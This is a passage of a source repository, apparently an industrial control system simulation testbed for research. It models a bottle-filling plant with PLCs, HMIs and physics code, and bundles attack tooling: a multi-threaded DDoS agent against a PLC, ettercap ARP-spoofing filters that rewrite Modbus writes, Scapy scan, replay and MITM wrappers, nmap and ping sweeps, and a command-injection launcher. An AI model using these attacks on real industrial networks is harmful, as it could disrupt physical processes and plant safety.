self._set_clear_scr(False) 32 | sleep(5) 33 | self.report(f'selected target = {self.__target}', level=logging.INFO) 34 | 35 | def _logic(self): 36 | try: 37 | for index_counter in range(self.chunk): 38 | value = self._receive(self.__target) 39 | self.__counter += self.chunk 40 | 41 | except Exception as e: 42 | self.report(f'get exception on {self.name()} while sending read requests {self.__counter}. (error = {e})', 43 | logging.INFO) 44 | 45 | def _post_logic_update(self): 46 | latency = self.get_logic_execution_time() / self.chunk 47 | if latency > DDosAgent.max: 48 | DDosAgent.max = latency 49 | # self.report('Max seen latency reached to {}'.format(DDosAgent.max), logging.INFO) 50 | if self.__counter % 1000 < self.chunk: 51 | self.report('{} sent {} read request for {} '.format(self.name(), self.__counter, self.__target, ), 52 | logging.INFO) 53 | 54 | def _initialize_logger(self): 55 | self._logger = self.__shared_logger 56 | 57 | def _before_stop(self): 58 | self.report(f'sent {self.__counter} massages before stop max latency is {DDosAgent.max}') 59 | 60 | @staticmethod 61 | def get_args(): 62 | parser = argparse.ArgumentParser(description='PCAP reader') 63 | 64 | parser.add_argument('name_prefix', metavar='Name prefix of agent', 65 | help='This name prefix will be part of agent name!') 66 | 67 | parser.add_argument('--target', metavar='IP of PLC', 68 | help='IP of PLC which is target of attack!', default='192.168.0.11', 69 | required=True) 70 | 71 | parser.add_argument('--log_path', metavar='Log file', 72 | help='the file to write logs!', default='./logs/attack-logs/log-ddos.log', 73 | required=True) 74 | 75 | parser.add_argument('--timeout', metavar='timeout for attack', type=float, default=60, 76 | help='interval to apply attack', required=False) 77 | 78 | return parser.parse_args() 79 | 80 | 81 | if __name__ == '__main__': 82 | args = DDosAgent.get_args() 83 | 84 | directory, filename = os.path.split(args.log_path) 85 | filename, extension = os.path.splitext(filename) 86 | logger = Runnable.setup_logger( 87 | filename, 88 | logging.Formatter('%(asctime)s %(levelname)s %(message)s'), 89 | file_dir=directory, 90 | file_ext='.txt', 91 | write_mode='a', 92 | level=logging.INFO 93 | ) 94 | 95 | attackers_count = 70 96 | 97 | attacker_list = [] 98 | for i in range(attackers_count): 99 | attacker_list.append( 100 | DDosAgent(name=f'DDoS_Agent_{args.name_prefix}_{i}', target_ip=args.target, shared_logger=logger)) 101 | 102 | for attacker in attacker_list: 103 | attacker.start() 104 | 105 | sleep(args.timeout) 106 | 107 | for attacker in attacker_list: 108 | attacker.stop() 109 | -------------------------------------------------------------------------------- /src/FactorySimulation.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from ics_sim.Device import HIL 4 | from Configs import TAG, PHYSICS, Connection 5 | 6 | 7 | class FactorySimulation(HIL): 8 | def __init__(self): 9 | super().__init__('Factory', Connection.CONNECTION, 100) 10 | self.init() 11 | 12 | def _logic(self): 13 | elapsed_time = self._current_loop_time - self._last_loop_time 14 | 15 | # update tank water level 16 | tank_water_amount = self._get(TAG.TAG_TANK_LEVEL_VALUE) * PHYSICS.TANK_LEVEL_CAPACITY 17 | if self._get(TAG.TAG_TANK_INPUT_VALVE_STATUS): 18 | tank_water_amount += PHYSICS.TANK_INPUT_FLOW_RATE * elapsed_time 19 | 20 | if self._get(TAG.TAG_TANK_OUTPUT_VALVE_STATUS): 21 | tank_water_amount -= PHYSICS.TANK_OUTPUT_FLOW_RATE * elapsed_time 22 | 23 | tank_water_level = tank_water_amount / PHYSICS.TANK_LEVEL_CAPACITY 24 | 25 | if tank_water_level > PHYSICS.TANK_MAX_LEVEL: 26 | tank_water_level = PHYSICS.TANK_MAX_LEVEL 27 | self.report('tank water overflowed', logging.WARNING) 28 | elif tank_water_level <= 0: 29 | tank_water_level = 0 30 | self.report('tank water is empty', logging.WARNING) 31 | 32 | # update tank water flow 33 | tank_water_flow = 0 34 | if self._get(TAG.TAG_TANK_OUTPUT_VALVE_STATUS) and tank_water_amount > 0: 35 | tank_water_flow = PHYSICS.TANK_OUTPUT_FLOW_RATE 36 | 37 | # update bottle water 38 | if self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE) > 1: 39 | bottle_water_amount = 0 40 | if self._get(TAG.TAG_TANK_OUTPUT_FLOW_VALUE): 41 | self.report('water is wasting', logging.WARNING) 42 | else: 43 | bottle_water_amount = self._get(TAG.TAG_BOTTLE_LEVEL_VALUE) * PHYSICS.BOTTLE_LEVEL_CAPACITY 44 | bottle_water_amount += self._get(TAG.TAG_TANK_OUTPUT_FLOW_VALUE) * elapsed_time 45 | 46 | bottle_water_level = bottle_water_amount / PHYSICS.BOTTLE_LEVEL_CAPACITY 47 | 48 | if bottle_water_level > PHYSICS.BOTTLE_MAX_LEVEL: 49 | bottle_water_level = PHYSICS.BOTTLE_MAX_LEVEL 50 | self.report('bottle water overflowed', logging.WARNING) 51 | 52 | # update bottle position 53 | bottle_distance_to_filler = self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE) 54 | if self._get(TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS): 55 | bottle_distance_to_filler -= elapsed_time * PHYSICS.CONVEYOR_BELT_SPEED 56 | bottle_distance_to_filler %= PHYSICS.BOTTLE_DISTANCE 57 | 58 | # update physical properties 59 | self._set(TAG.TAG_TANK_LEVEL_VALUE, tank_water_level) 60 | self._set(TAG.TAG_TANK_OUTPUT_FLOW_VALUE, tank_water_flow) 61 | self._set(TAG.TAG_BOTTLE_LEVEL_VALUE, bottle_water_level) 62 | self._set(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE, bottle_distance_to_filler) 63 | 64 | def init(self): 65 | initial_list = [] 66 | for tag in TAG.TAG_LIST: 67 | initial_list.append((tag, TAG.TAG_LIST[tag]['default'])) 68 | 69 | self._connector.initialize(initial_list) 70 | 71 | 72 | @staticmethod 73 | def recreate_connection(): 74 | return True 75 | 76 | 77 | if __name__ == '__main__': 78 | factory = FactorySimulation() 79 | factory.start() 80 | -------------------------------------------------------------------------------- /src/HMI1.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from datetime import datetime 3 | 4 | from ics_sim.Device import HMI 5 | from Configs import TAG, Controllers 6 | 7 | 8 | class HMI1(HMI): 9 | def __init__(self): 10 | super().__init__('HMI1', TAG.TAG_LIST, Controllers.PLCs, 500) 11 | 12 | self._rows = {} 13 | self.title_length = 27 14 | self.msg1_length = 21 15 | self.msg2_length = 10 16 | self._border = '-' * (self.title_length + self.msg1_length + self.msg2_length + 4) 17 | 18 | self._border_top = \ 19 | "┌" + "─" * self.title_length + "┬" + "─" * self.msg1_length + "┬" + "─" * self.msg2_length + "┐" 20 | self._border_mid = \ 21 | "├" + "─" * self.title_length + "┼" + "─" * self.msg1_length + "┼" + "─" * self.msg2_length + "┤" 22 | self._border_bot = \ 23 | "└" + "─" * self.title_length + "┴" + "─" * self.msg1_length + "┴" + "─" * self.msg2_length + "┘" 24 | 25 | self.cellVerticalLine = "│" 26 | 27 | for tag in self.tags: 28 | pos = tag.rfind('_') 29 | tag_name = tag[0:pos] 30 | if not self._rows.keys().__contains__(tag_name): 31 | self._rows[tag_name] = {'tag': tag_name.center(self.title_length, ' '), 'msg1': '', 'msg2': ''} 32 | 33 | self._latency = 0 34 | 35 | def _display(self): 36 | 37 | self.__show_table() 38 | 39 | def _operate(self): 40 | self.__update_massages() 41 | 42 | def __update_massages(self): 43 | self._latency = 0 44 | 45 | for row in self._rows: 46 | self._rows[row]['msg1'] = '' 47 | self._rows[row]['msg2'] = '' 48 | 49 | for tag in self.tags: 50 | pos = tag.rfind('_') 51 | row = tag[0:pos] 52 | attribute = tag[pos + 1:] 53 | 54 | if attribute == 'value' or attribute == 'status': 55 | self._rows[row]['msg2'] += self.__get_formatted_value(tag) 56 | elif attribute == 'max': 57 | self._rows[row]['msg1'] += self.__get_formatted_value(tag) 58 | self._rows[row]['msg1'] = self._make_text(self._rows[row]['msg1'].center(self.msg1_length, " "), self.COLOR_GREEN) 59 | else: 60 | self._rows[row]['msg1'] += self.__get_formatted_value(tag) 61 | 62 | for row in self._rows: 63 | if self._rows[row]['msg1'] == '': 64 | self._rows[row]['msg1'] = ''.center(self.msg1_length, ' ') 65 | if self._rows[row]['msg2'] == '': 66 | self._rows[row]['msg2'] = ''.center(self.msg1_length, ' ') 67 | 68 | def __get_formatted_value(self, tag): 69 | timestamp = datetime.now() 70 | pos = tag.rfind('_') 71 | tag_name = tag[0:pos] 72 | tag_attribute = tag[pos + 1:] 73 | 74 | try: 75 | value = self._receive(tag) 76 | except Exception as e: 77 | self.report(e.__str__(), logging.WARNING) 78 | value = 'NULL' 79 | 80 | if tag_attribute == 'mode': 81 | if value == 1: 82 | value = self._make_text('Off manually'.center(self.msg1_length, " "), self.COLOR_YELLOW) 83 | elif value == 2: 84 | value = self._make_text('On manually'.center(self.msg1_length, " "), self.COLOR_YELLOW) 85 | elif value == 3: 86 | value = self._make_text('Auto'.center(self.msg1_length, " "), self.COLOR_GREEN) 87 | else: 88 | 89 | value = self._make_text(str(value).center(self.msg1_length, " "), self.COLOR_RED) 90 | 91 | elif tag_attribute == 'status' or self.tags[tag]['id'] == 7: 92 | if value == 'NULL': 93 | value = self._make_text(value.center(self.msg2_length, " "), self.COLOR_RED) 94 | elif value: 95 | value = self._make_text('>>>'.center(self.msg2_length, " "), self.COLOR_BLUE) 96 | else: 97 | value = self._make_text('X'.center(self.msg2_length, " "), self.COLOR_RED) 98 | 99 | elif tag_attribute == 'min': 100 | value = 'Min:' + str(value) + ' ' 101 | 102 | elif tag_attribute == 'max': 103 | value = 'Max:' + str(value) 104 | 105 | elif value == 'NULL': 106 | value = self._make_text(value.center(self.msg2_length, " "), self.COLOR_RED) 107 | else: 108 | value = self._make_text(str(value).center(self.msg2_length, " "), self.COLOR_CYAN) 109 | 110 | elapsed = datetime.now() - timestamp 111 | 112 | if elapsed.microseconds > self._latency: 113 | self._latency = elapsed.microseconds 114 | return value 115 | 116 | def __show_table(self): 117 | result = " (Latency {}ms)\n".format(self._latency / 1000) 118 | 119 | first = True 120 | for row in self._rows: 121 | if first: 122 | result += self._border_top + "\n" 123 | first = False 124 | else: 125 | result += self._border_mid + "\n" 126 | 127 | result += '│{}│{}│{}│\n'.format(self._rows[row]['tag'], self._rows[row]['msg1'], self._rows[row]['msg2']) 128 | 129 | result += self._border_bot + "\n" 130 | 131 | self.report(result) 132 | 133 | 134 | if __name__ == '__main__': 135 | hmi1 = HMI1() 136 | hmi1.start() 137 | -------------------------------------------------------------------------------- /src/HMI2.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import sys 4 | 5 | from ics_sim.Device import HMI 6 | from Configs import TAG, Controllers 7 | 8 | 9 | class HMI2(HMI): 10 | def __init__(self): 11 | super().__init__('HMI2', TAG.TAG_LIST, Controllers.PLCs) 12 | 13 | def _display(self): 14 | menu_line = '{}) To change the {} press {} \n' 15 | 16 | menu = '\n' 17 | 18 | menu += self.__get_menu_line(1, 'empty level of tank') 19 | menu += self.__get_menu_line(2, 'full level of tank') 20 | menu += self.__get_menu_line(3, 'full level of bottle') 21 | menu += self.__get_menu_line(4, 'status of tank Input valve') 22 | menu += self.__get_menu_line(5, 'status of tank output valve') 23 | menu += self.__get_menu_line(6, 'status of conveyor belt engine') 24 | self.report(menu) 25 | 26 | def __get_menu_line(self, number, text): 27 | return '{} To change the {} press {} \n'.format( 28 | self._make_text(str(number)+')', self.COLOR_BLUE), 29 | self._make_text(text, self.COLOR_GREEN), 30 | self._make_text(str(number), self.COLOR_BLUE) 31 | ) 32 | 33 | def _operate(self): 34 | try: 35 | choice = self.__get_choice() 36 | input1, input2 = choice 37 | if input1 == 1: 38 | self._send(TAG.TAG_TANK_LEVEL_MIN, input2) 39 | 40 | elif input1 == 2: 41 | self._send(TAG.TAG_TANK_LEVEL_MAX, input2) 42 | 43 | elif input1 == 3: 44 | self._send(TAG.TAG_BOTTLE_LEVEL_MAX, input2) 45 | 46 | elif input1 == 4: 47 | self._send(TAG.TAG_TANK_INPUT_VALVE_MODE, input2) 48 | 49 | elif input1 == 5: 50 | self._send(TAG.TAG_TANK_OUTPUT_VALVE_MODE, input2) 51 | 52 | elif input1 == 6: 53 | self._send(TAG.TAG_CONVEYOR_BELT_ENGINE_MODE, input2) 54 | 55 | except ValueError as e: 56 | self.report(e.__str__()) 57 | except Exception as e: 58 | self.report('The input is invalid' + e.__str__()) 59 | 60 | input('press inter to continue ...') 61 | 62 | def __get_choice(self): 63 | input1 = int(input('your choice (1 to 6): ')) 64 | if input1 < 1 or input1 > 6: 65 | raise ValueError('just integer values between 1 and 6 are acceptable') 66 | 67 | if input1 <= 3: 68 | input2 = float(input('Specify set point (positive real value): ')) 69 | if input2 < 0: 70 | raise ValueError('Negative numbers are not acceptable.') 71 | else: 72 | sub_menu = '\n' 73 | sub_menu += "1) Send command for manually off\n" 74 | sub_menu += "2) Send command for manually on\n" 75 | sub_menu += "3) Send command for auto operation\n" 76 | self.report(sub_menu) 77 | input2 = int(input('Command (1 to 3): ')) 78 | if input2 < 1 or input2 > 3: 79 | raise ValueError('Just 1, 2, and 3 are acceptable for command') 80 | 81 | return input1, input2 82 | 83 | 84 | if __name__ == '__main__': 85 | hmi2 = HMI2() 86 | hmi2.start() -------------------------------------------------------------------------------- /src/HMI3.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import sys 4 | import time 5 | import random 6 | 7 | from ics_sim.Device import HMI 8 | from Configs import TAG, Controllers 9 | 10 | 11 | class HMI3(HMI): 12 | def __init__(self): 13 | super().__init__('HMI3', TAG.TAG_LIST, Controllers.PLCs) 14 | 15 | 16 | def _before_start(self): 17 | HMI._before_start(self) 18 | 19 | while True: 20 | response = input("Do you want to start auto manipulation of factory setting? \n") 21 | response = response.lower() 22 | if response == 'y' or response == 'yes': 23 | self._set_clear_scr(False) 24 | self.random_values = [["TANK LEVEL MIN" , 1 , 4.5] ,["TANK LEVEL MAX" , 5.5 , 9],["BOTTLE LEVEL MAX" , 1 , 1.9]] 25 | break 26 | else: 27 | continue 28 | 29 | def _display(self): 30 | n = random.randint(5, 20) 31 | print("Sleep for {} seconds \n".format(n)) 32 | time.sleep(n) 33 | 34 | 35 | def _operate(self): 36 | try: 37 | choice = self.__get_choice() 38 | input1, input2 = choice 39 | if input1 == 1: 40 | self._send(TAG.TAG_TANK_LEVEL_MIN, input2) 41 | 42 | elif input1 == 2: 43 | self._send(TAG.TAG_TANK_LEVEL_MAX, input2) 44 | 45 | elif input1 == 3: 46 | self._send(TAG.TAG_BOTTLE_LEVEL_MAX, input2) 47 | 48 | except ValueError as e: 49 | self.report(e.__str__()) 50 | except Exception as e: 51 | self.report('The input is invalid' + e.__str__()) 52 | 53 | print('set {} to the {} automatically'.format(self.random_values[input1-1][0], input2)) 54 | 55 | def __get_choice(self): 56 | input1 = random.randint(1, len(self.random_values)) 57 | print(self.random_values) 58 | print(input1) 59 | input2 = random.uniform(self.random_values[input1-1][1] , self.random_values[input1-1][2]) 60 | print (input2) 61 | return input1, input2 62 | 63 | 64 | 65 | if __name__ == '__main__': 66 | hmi3= HMI3() 67 | hmi3.start() -------------------------------------------------------------------------------- /src/MQTTSampleConnection.txt: -------------------------------------------------------------------------------- 1 | # it will skipp lines with # signs 2 | 3 | type: MQTT 4 | address: 5 | port: <1883> 6 | topic: 7 | 8 | 9 | # username: 10 | # password -------------------------------------------------------------------------------- /src/MqttHelper.py: -------------------------------------------------------------------------------- 1 | import paho.mqtt.client as paho 2 | 3 | def read_mqtt_params(path): 4 | params = {} 5 | 6 | try: 7 | with open(path, 'r') as file: 8 | for line in file: 9 | if not line.strip(): 10 | continue 11 | 12 | if line.strip().startswith("#"): 13 | continue 14 | # Split each line into key and value using ':' as the delimiter 15 | key, value = map(str.strip, line.split(':', 1)) 16 | params[key] = value 17 | 18 | except FileNotFoundError: 19 | err_msg = 'Error: File not found.' 20 | raise Exception(err_msg) 21 | except Exception as e: 22 | err_msg = 'Error: cannot read from File.' + e.__str__() 23 | raise Exception(err_msg) 24 | 25 | return params 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /src/PLC1.py: -------------------------------------------------------------------------------- 1 | from ics_sim.Device import PLC, SensorConnector, ActuatorConnector 2 | from Configs import TAG, Controllers, Connection 3 | import logging 4 | 5 | 6 | class PLC1(PLC): 7 | def __init__(self): 8 | sensor_connector = SensorConnector(Connection.CONNECTION) 9 | actuator_connector = ActuatorConnector(Connection.CONNECTION) 10 | super().__init__(1, sensor_connector, actuator_connector, TAG.TAG_LIST, Controllers.PLCs) 11 | 12 | def _logic(self): 13 | # update TAG.TAG_TANK_INPUT_VALVE_STATUS 14 | 15 | if not self._check_manual_input(TAG.TAG_TANK_INPUT_VALVE_MODE, TAG.TAG_TANK_INPUT_VALVE_STATUS): 16 | tank_level = self._get(TAG.TAG_TANK_LEVEL_VALUE) 17 | if tank_level > self._get(TAG.TAG_TANK_LEVEL_MAX): 18 | self._set(TAG.TAG_TANK_INPUT_VALVE_STATUS, 0) 19 | elif tank_level < self._get(TAG.TAG_TANK_LEVEL_MIN): 20 | self._set(TAG.TAG_TANK_INPUT_VALVE_STATUS, 1) 21 | 22 | # update TAG.TAG_TANK_OUTPUT_VALVE_STATUS 23 | if not self._check_manual_input(TAG.TAG_TANK_OUTPUT_VALVE_MODE, TAG.TAG_TANK_OUTPUT_VALVE_STATUS): 24 | bottle_level = self._get(TAG.TAG_BOTTLE_LEVEL_VALUE) 25 | belt_position = self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE) 26 | if bottle_level > self._get(TAG.TAG_BOTTLE_LEVEL_MAX) or belt_position > 1.0: 27 | self._set(TAG.TAG_TANK_OUTPUT_VALVE_STATUS, 0) 28 | else: 29 | self._set(TAG.TAG_TANK_OUTPUT_VALVE_STATUS, 1) 30 | 31 | def _post_logic_update(self): 32 | super()._post_logic_update() 33 | #self.report("{} {}".format( self.get_alive_time() / 1000, self.get_loop_latency() / 1000), logging.INFO) 34 | 35 | 36 | if __name__ == '__main__': 37 | plc1 = PLC1() 38 | plc1.set_record_variables(True) 39 | plc1.start() 40 | -------------------------------------------------------------------------------- /src/PLC2.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import time 3 | 4 | from ics_sim.Device import PLC, SensorConnector, ActuatorConnector 5 | from Configs import TAG, Connection, Controllers 6 | 7 | 8 | class PLC2(PLC): 9 | def __init__(self): 10 | sensor_connector = SensorConnector(Connection.CONNECTION) 11 | actuator_connector = ActuatorConnector(Connection.CONNECTION) 12 | super().__init__(2, sensor_connector, actuator_connector, TAG.TAG_LIST, Controllers.PLCs) 13 | 14 | def _logic(self): 15 | if not self._check_manual_input(TAG.TAG_CONVEYOR_BELT_ENGINE_MODE, TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS): 16 | t1 = time.time() 17 | flow = self._get(TAG.TAG_TANK_OUTPUT_FLOW_VALUE) 18 | 19 | belt_position = self._get(TAG.TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE) 20 | bottle_level = self._get(TAG.TAG_BOTTLE_LEVEL_VALUE) 21 | 22 | if (belt_position > 1) or (flow == 0 and bottle_level > self._get(TAG.TAG_BOTTLE_LEVEL_MAX)): 23 | self._set(TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS, 1) 24 | else: 25 | self._set(TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS, 0) 26 | 27 | 28 | if __name__ == '__main__': 29 | plc2 = PLC2() 30 | plc2.set_record_variables(True) 31 | plc2.start() 32 | -------------------------------------------------------------------------------- /src/attacks/command-injection.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | sudo chmod 777 $1 5 | 6 | python3 CommandInjectionAgent.py 30 7 | 8 | sudo chmod 777 $2 9 | -------------------------------------------------------------------------------- /src/attacks/ddos.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | log-dir = $1 3 | log-file = $2 4 | sudo chmod 777 $1 5 | echo "">$2 6 | python3 DDosAgent.py 'A' & 7 | python3 DDosAgent.py 'B' & 8 | python3 DDosAgent.py 'C' & 9 | python3 DDosAgent.py 'D' & 10 | #python3 DDosAgent.py 'E' & 11 | #python3 DDosAgent.py 'F' & 12 | #python3 DDosAgent.py 'G' & 13 | #python3 DDosAgent.py 'H' & 14 | #python3 DDosAgent.py 'I' & 15 | python3 DDosAgent.py 'J' 16 | 17 | sudo chmod 777 $2 18 | -------------------------------------------------------------------------------- /src/attacks/mitm-ettercap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | cd attacks/mitm 5 | chmod 777 . 6 | 7 | etterfilter mitm.ecf -o mitm.ef 8 | ettercap -Tqi eth0 -F mitm.ef -w ettercap-packets.pcap -M arp /192.168.0.11// /192.168.0.22// 9 | #ettercap -Tqi eth0 -w ettercap-packets.pcap -F mitm.ef -M arp /192.168.0.11// /192.168.0.22// 10 | 11 | -------------------------------------------------------------------------------- /src/attacks/mitm-scapy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | sudo echo 0 > /proc/sys/net/ipv4/ip_forward 5 | sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack mitm --timeout 30 --parameter 0.1 --target '192.168.0.1/24' 6 | #sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack mitm --timeout 15 --parameter 0.2 --target '192.168.0.11,192.168.0.21' 7 | #sudo python3 Replay.py 8 | sudo echo 1 > /proc/sys/net/ipv4/ip_forward 9 | -------------------------------------------------------------------------------- /src/attacks/mitm/ettercap-packets.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/attacks/mitm/ettercap-packets.pcap -------------------------------------------------------------------------------- /src/attacks/mitm/mitm (copy).ecf: -------------------------------------------------------------------------------- 1 | if (ip.src == '192.168.0.22' && ip.dst == '192.168.0.11') { 2 | if (ip.proto == TCP && tcp.dst == 502 && DATA.data + 6 == "\x01" && DATA.data + 7 == "\x10") { 3 | DATA.data + 15 ="\x9c\x40"; 4 | msg("Replaced"); 5 | 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /src/attacks/mitm/mitm-INT-42.ecf: -------------------------------------------------------------------------------- 1 | if (ip.src == '192.168.0.22' && ip.dst == '192.168.0.11') { 2 | if (ip.proto == TCP && tcp.dst == 502) { 3 | DATA.data + 4 = "YYZZ"; 4 | msg("Replaced"); 5 | 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /src/attacks/mitm/mitm.ecf: -------------------------------------------------------------------------------- 1 | if (ip.src == '192.168.0.22' && ip.dst == '192.168.0.11') { 2 | if (ip.proto == TCP && tcp.dst == 502 && DATA.data + 6 == "\x01" && DATA.data + 7 == "\x10") { 3 | DATA.data + 15 ="\x9c\x40"; 4 | msg("Replaced3"); 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /src/attacks/mitm/mitm.ef: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/attacks/mitm/mitm.ef -------------------------------------------------------------------------------- /src/attacks/mitm/mitm.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | cd attacks/mitm 5 | chmod 777 . 6 | 7 | etterfilter mitm.ecf -o mitm.ef 8 | ettercap -Tqi eth0 -F mitm.ef -w ettercap-packets.pcap -M arp /192.168.0.11// /192.168.0.22// 9 | #ettercap -Tqi eth0 -w ettercap-packets.pcap -F mitm.ef -M arp /192.168.0.11// /192.168.0.22// 10 | 11 | -------------------------------------------------------------------------------- /src/attacks/replay-scapy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | sudo chmod 777 $1 5 | #sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack replay --timeout 15 --parameter 3 --target '192.168.0.1/24' 6 | sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack replay --timeout 15 --parameter 3 --target '192.168.0.11,192.168.0.22' 7 | sudo chmod 777 $2 8 | -------------------------------------------------------------------------------- /src/attacks/scan-ettercap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #cd src 3 | #log-dir = $1 4 | #log-file = $2 5 | sudo chmod 777 $1 6 | 7 | sudo -S ettercap -Tq -Q --save-hosts $2 -i eth0 8 | #sudo -S ettercap -Tq -Q --save-hosts ./../ics_sim/attacks/attack-logs/scan_ettercap.txt -i eth0 9 | 10 | sudo chmod 777 $2 11 | 12 | -------------------------------------------------------------------------------- /src/attacks/scan-nmap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | #log-dir = $1 5 | #log-file = $2 6 | sudo chmod 777 $1 7 | 8 | 9 | nmap -p- -oN $2 192.168.0.1-255 10 | 11 | sudo chmod 777 $2 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/attacks/scan-ping.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #cd src 3 | #log-dir = $1 4 | #log-file = $2 5 | sudo chmod 777 $1 6 | 7 | x=1; while [ $x -lt "50" ]; do ping -t 1 -c 1 192.168.0.$x | grep "byte from" | awk '{print $4 " up"}'; let x++; done > $2 8 | 9 | sudo chmod 777 $2 10 | -------------------------------------------------------------------------------- /src/attacks/scan-scapy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #cd src 4 | sudo chmod 777 $1 5 | sudo python3 ics_sim/ScapyAttacker.py --output $2 --attack scan --timeout 10 --target '192.168.0.1/24' 6 | sudo chmod 777 $2 7 | 8 | -------------------------------------------------------------------------------- /src/ics_sim/Attack/__pycache__/ModbusCommand.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/ics_sim/Attack/__pycache__/ModbusCommand.cpython-310.pyc -------------------------------------------------------------------------------- /src/ics_sim/Attack/__pycache__/ModbusPackets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/ics_sim/Attack/__pycache__/ModbusPackets.cpython-310.pyc -------------------------------------------------------------------------------- /src/ics_sim/Attack/__pycache__/NetworkNode.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/ics_sim/Attack/__pycache__/NetworkNode.cpython-310.pyc -------------------------------------------------------------------------------- /src/ics_sim/Attacks.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | 4 | def __make_dir_editable(path): 5 | bash_command = f'chmod 777 {path}' 6 | subprocess.run(bash_command, shell=True, check=True) 7 | 8 | 9 | def _do_scan_scapy_attack(log_dir, log_file, target, timeout=10): 10 | bash_command = ['python3', 11 | 'ics_sim/ScapyAttacker.py', 12 | '--output', log_file, 13 | '--attack', 'scan', 14 | '--timeout', str(timeout), 15 | '--target', target] 16 | 17 | _do_attack(log_dir, log_file, bash_command) 18 | 19 | 20 | def _do_replay_scapy_attack(log_dir, log_file, target, timeout=15, replay_count=3): 21 | bash_command = ['python3', 22 | 'ics_sim/ScapyAttacker.py', 23 | '--output', log_file, 24 | '--attack', 'replay', 25 | '--timeout', str(timeout), 26 | '--parameter', str(replay_count), 27 | '--target', target] 28 | 29 | _do_attack(log_dir, log_file, bash_command) 30 | 31 | 32 | def _do_mitm_scapy_attack(log_dir, log_file, target, timeout=30, noise=0.1): 33 | subprocess.run(['echo', '0'], stdout=open('/proc/sys/net/ipv4/ip_forward',"w")) 34 | bash_command = ['python3', 35 | 'ics_sim/ScapyAttacker.py', 36 | '--output', log_file, 37 | '--attack', 'mitm', 38 | '--timeout', str(timeout), 39 | '--parameter', str(noise), 40 | '--target', target] 41 | 42 | _do_attack(log_dir, log_file, bash_command) 43 | subprocess.run(['echo', '1'], stdout=open('/proc/sys/net/ipv4/ip_forward',"w")) 44 | 45 | 46 | def _do_scan_nmap_attack(log_dir, log_file, target): 47 | bash_command = ['nmap', 48 | '-p-', 49 | '-oN', log_file, 50 | target] 51 | 52 | _do_attack(log_dir, log_file, bash_command) 53 | 54 | 55 | def _do_command_injection_attack(log_dir, log_file, command_injection_agent, command_counter=30): 56 | bash_command = ['python3', 57 | command_injection_agent, 58 | str(command_counter)] 59 | 60 | _do_attack(log_dir, log_file, bash_command) 61 | 62 | 63 | def _do_ddos_attack(log_dir, log_file, ddos_agent_path, timeout, num_process, target): 64 | __make_dir_editable(log_dir) 65 | processes_args = [] 66 | processes = [] 67 | for i in range(num_process): 68 | processes_args.append(f'python3 {ddos_agent_path} Agent{i} --timeout {timeout} --target {target} --log_path {log_file}'.split(' ')) 69 | 70 | for i in range(num_process): 71 | processes.append(subprocess.Popen(processes_args[i])) 72 | 73 | for i in range(num_process): 74 | processes[i].wait() 75 | 76 | print('execution finished') 77 | __make_dir_editable(log_file) 78 | 79 | 80 | def _do_attack(log_dir, log_file, bash_command): 81 | __make_dir_editable(log_dir) 82 | print(bash_command) 83 | subprocess.run(bash_command) 84 | __make_dir_editable(log_file) 85 | -------------------------------------------------------------------------------- /src/ics_sim/Device.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | import os 3 | import sys 4 | import threading 5 | import time 6 | import random 7 | from abc import ABC, abstractmethod 8 | from datetime import datetime 9 | 10 | from ics_sim.protocol import ProtocolFactory 11 | from ics_sim.configs import SpeedConfig 12 | from ics_sim.helper import current_milli_time, validate_type, current_milli_cycle_time 13 | from ics_sim.connectors import ConnectorFactory 14 | 15 | from multiprocessing import Process 16 | import logging 17 | 18 | 19 | class 